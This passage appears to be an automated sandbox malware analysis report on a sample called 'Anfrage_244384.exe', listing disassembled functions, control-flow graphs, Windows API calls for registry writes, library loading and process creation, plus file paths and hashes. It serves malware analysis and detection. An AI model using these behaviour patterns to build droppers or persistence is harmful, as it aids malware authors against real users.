                                                        • Opcode ID: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                        • Instruction ID: f3b8c8f840e4a68c7bce26bfc9f978bd3a53690dd24d0c1e4954f7cf1b20607f
                                                        • Opcode Fuzzy Hash: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                        • Instruction Fuzzy Hash: BEF0217054020AA7DB149B64DD0DFFB379CBB08305F14047AA587F50C2D5B8D5358B58
                                                        Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73registrystringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1002 4023d3-402419 call 402bc3 call 402ace * 2 RegCreateKeyExA 1009 40295e-40296d 1002->1009 1010 40241f-402427 1002->1010 1012 402437-40243a 1010->1012 1013 402429-402436 call 402ace lstrlenA 1010->1013 1014 40243c-40244d call 402aac 1012->1014 1015 40244e-402451 1012->1015 1013->1012 1014->1015 1019 402462-402476 RegSetValueExA 1015->1019 1020 402453-40245d call 402f33 1015->1020 1024 402478 1019->1024 1025 40247b-402555 RegCloseKey 1019->1025 1020->1019 1024->1025 1025->1009 1027 402729-402730 1025->1027 1027->1009
                                                        APIs
                                                        • RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
                                                        • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsd5416.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
                                                        • RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsd5416.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
                                                        • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd5416.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CloseCreateValuelstrlen
                                                        • String ID: C:\Users\user\AppData\Local\Temp\nsd5416.tmp
                                                        • API String ID: 1356686001-3435184306
                                                        • Opcode ID: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                        • Instruction ID: 78945337bfecb372f974009004526856e4df2419c5d7c36b02de55c30b310c87
                                                        • Opcode Fuzzy Hash: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                        • Instruction Fuzzy Hash: 842162B1E00208BEEB10EFA4DE49EAF7678EB54358F20403AF545B61D0C6B94D419B68
                                                        Function 00401FFF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73libraryloaderCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 968 401fff-40200b 969 402011-402027 call 402ace * 2 968->969 970 4020c6-4020c8 968->970 981 402036-402044 LoadLibraryExA 969->981 982 402029-402034 GetModuleHandleA 969->982 971 402233-402238 call 401423 970->971 977 402729-402730 971->977 978 40295e-40296d 971->978 977->978 984 402046-402053 GetProcAddress 981->984 985 4020bf-4020c1 981->985 982->981 982->984 986 402092-402097 call 404fdc 984->986 987 402055-40205b 984->987 985->971 992 40209c-40209f 986->992 988 402074-40208b call 100016bd 987->988 989 40205d-402069 call 401423 987->989 994 40208d-402090 988->994 989->992 1000 40206b-402072 989->1000 992->978 995 4020a5-4020ad call 4036e3 992->995 994->992 995->978 999 4020b3-4020ba FreeLibrary 995->999 999->978 1000->992
                                                        APIs
                                                        • GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 0040202A
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,755723A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,755723A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                          • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,755723A0), ref: 00405038
                                                          • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                        • LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040203A
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
                                                        • FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                        • String ID: us
                                                        • API String ID: 2987980305-2138388905
                                                        • Opcode ID: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                        • Instruction ID: b783eae22080e2a76f4456b755c5680fa053b08e058d045f217a77597ec219f0
                                                        • Opcode Fuzzy Hash: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                        • Instruction Fuzzy Hash: 0F21C971A00225E7DB307FA48F49A5E7A746B44354F24413BF701B22D1DBBE4A42D66E
                                                        Function 00405A65 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1028 405a65-405a6f 1029 405a70-405a9b GetTickCount GetTempFileNameA 1028->1029 1030 405aaa-405aac 1029->1030 1031 405a9d-405a9f 1029->1031 1033 405aa4-405aa7 1030->1033 1031->1029 1032 405aa1 1031->1032 1032->1033
                                                        APIs
                                                        • GetTickCount.KERNEL32 ref: 00405A79
                                                        • GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A93
                                                        Strings
                                                        • nsa, xrefs: 00405A70
                                                        • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 00405A65
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405A68
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CountFileNameTempTick
                                                        • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$C:\Users\user\AppData\Local\Temp\$nsa
                                                        • API String ID: 1716503409-725073068
                                                        • Opcode ID: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                        • Instruction ID: 72edad6ec601b3e5bedbe0a956b09e0e85e9d1f351c5a8d1d7ddacf5062ef271
                                                        • Opcode Fuzzy Hash: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                        • Instruction Fuzzy Hash: DBF082363046187BDB108F55ED44B9B7B9CDFA1760F10803BFA44DA180D6B599548B58
                                                        Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1034 402b0e-402b37 RegOpenKeyExA 1035 402ba2-402ba6 1034->1035 1036 402b39-402b44 1034->1036 1037 402b5f-402b6f RegEnumKeyA 1036->1037 1038 402b71-402b83 RegCloseKey call 40615c 1037->1038 1039 402b46-402b49 1037->1039 1047 402b85-402b94 1038->1047 1048 402ba9-402baf 1038->1048 1041 402b96-402b99 RegCloseKey 1039->1041 1042 402b4b-402b5d call 402b0e 1039->1042 1045 402b9f-402ba1 1041->1045 1042->1037 1042->1038 1045->1035 1047->1035 1048->1045 1049 402bb1-402bbf RegDeleteKeyA 1048->1049 1049->1045 1051 402bc1 1049->1051 1051->1035
                                                        APIs
                                                        • RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402B2F
                                                        • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
                                                        • RegCloseKey.ADVAPI32(?), ref: 00402B74
                                                        • RegCloseKey.ADVAPI32(?), ref: 00402B99
                                                        • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Close$DeleteEnumOpen
                                                        • String ID:
                                                        • API String ID: 1912718029-0
                                                        • Opcode ID: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                        • Instruction ID: 01bd3f518095735bd7fc58530e3e97865138d1262df332b424d450b53e5153fe
                                                        • Opcode Fuzzy Hash: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                        • Instruction Fuzzy Hash: 83117F31500108FFDF11AF90DE89EAB3B7DFB14345B00403AF905B11A0D7B8AE55AB68
                                                        Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
                                                          • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
                                                          • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001768
                                                        • FreeLibrary.KERNEL32(?), ref: 100017DF
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001804
                                                          • Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2
                                                          • Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB
                                                          • Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$Alloc$Librarylstrcpy
                                                        • String ID:
                                                        • API String ID: 1791698881-3916222277
                                                        • Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                        • Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
                                                        • Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                        • Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60
                                                        Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,75573410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                        • GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D
                                                          • Part of subcall function 004054A2: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                        • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes,00000000,00000000,000000F0), ref: 0040163C
                                                        Strings
                                                        • C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes, xrefs: 00401631
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                        • String ID: C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes
                                                        • API String ID: 1892508949-51339105
                                                        • Opcode ID: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                        • Instruction ID: 816b54ed5d655ae39ec9af7653b37b3cb045aad08be9d120fc9ab2aeee17589e
                                                        • Opcode Fuzzy Hash: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                        • Instruction Fuzzy Hash: 4A110431608142EBDB317BB54D409BF2AB0DE96324B28493FE4D1B22E2D63D4942663E
                                                        Function 00404F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • IsWindowVisible.USER32(?), ref: 00404F7F
                                                        • CallWindowProcA.USER32(?,?,?,?), ref: 00404FD0
                                                          • Part of subcall function 00403FF4: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00404006
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Window$CallMessageProcSendVisible
                                                        • String ID:
                                                        • API String ID: 3748168415-3916222277
                                                        • Opcode ID: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                        • Instruction ID: 957b128ff8c1be49c7c43d2eec533a56ef4d4953328fce41794b465c1d4f4089
                                                        • Opcode Fuzzy Hash: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                        • Instruction Fuzzy Hash: C80184B160020AAFDF20AF51DD80A5B3B66EBC4755F15413BFF00751D1C77D8C62966A
                                                        Function 00405554 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042C070,Error launching installer), ref: 0040557D
                                                        • CloseHandle.KERNEL32(?), ref: 0040558A
                                                        Strings
                                                        • Error launching installer, xrefs: 00405567
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CloseCreateHandleProcess
                                                        • String ID: Error launching installer
                                                        • API String ID: 3712363035-66219284
                                                        • Opcode ID: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                        • Instruction ID: 7a3dc1fb8a2ad91d62cd378edef27adb0088bf0f4d8ddc25e60ef95d811c5913
                                                        • Opcode Fuzzy Hash: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                        • Instruction Fuzzy Hash: 1AE04FB0600209BFEB109FA0ED45F7F77ACE700208F408531BD00F2150D77499088A7C
                                                        Function 004024F5 Relevance: 4.5, APIs: 3, Instructions: 46registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        • RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402527
                                                        • RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 0040253A
                                                        • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd5416.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Enum$CloseOpenValue
                                                        • String ID:
                                                        • API String ID: 167947723-0
                                                        • Opcode ID: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                        • Instruction ID: 2b577d6a6ed12fdd73b92825448b087f6304f6a5da561ecb1c8b28b09130acc9
                                                        • Opcode Fuzzy Hash: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                        • Instruction Fuzzy Hash: EC01DF71A00201EFE7119F65AE88ABF7A7CDF40394F20003FF045A61C0D6B84A459669
                                                        Function 00405CAA Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExA.KERNELBASE(80000002,00405EEF,00000000,00000002,?,00000002,?,?,00405EEF,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CD3
                                                        • RegQueryValueExA.KERNELBASE(?,?,00000000,00405EEF,?,00405EEF), ref: 00405CF4
                                                        • RegCloseKey.ADVAPI32(?), ref: 00405D15
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CloseOpenQueryValue
                                                        • String ID:
                                                        • API String ID: 3677997916-0
                                                        • Opcode ID: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                        • Instruction ID: fa75aaf4fea41e3e7414327fe65dbec21031f90634d69430c1a7616152fbf627
                                                        • Opcode Fuzzy Hash: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                        • Instruction Fuzzy Hash: 35015E7114020AEFDF118F64ED48EDB7FACEF14354F00403AF94596160D235D964CBA5
                                                        Function 100027E8 Relevance: 3.2, APIs: 2, Instructions: 156COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFilePointer.KERNELBASE(00000000), ref: 100028A7
                                                        • GetLastError.KERNEL32 ref: 100029AE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ErrorFileLastPointer
                                                        • String ID:
                                                        • API String ID: 2976181284-0
                                                        • Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                        • Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
                                                        • Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                        • Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95
                                                        Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        • RegQueryValueExA.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B3
                                                        • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd5416.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CloseOpenQueryValue
                                                        • String ID:
                                                        • API String ID: 3677997916-0
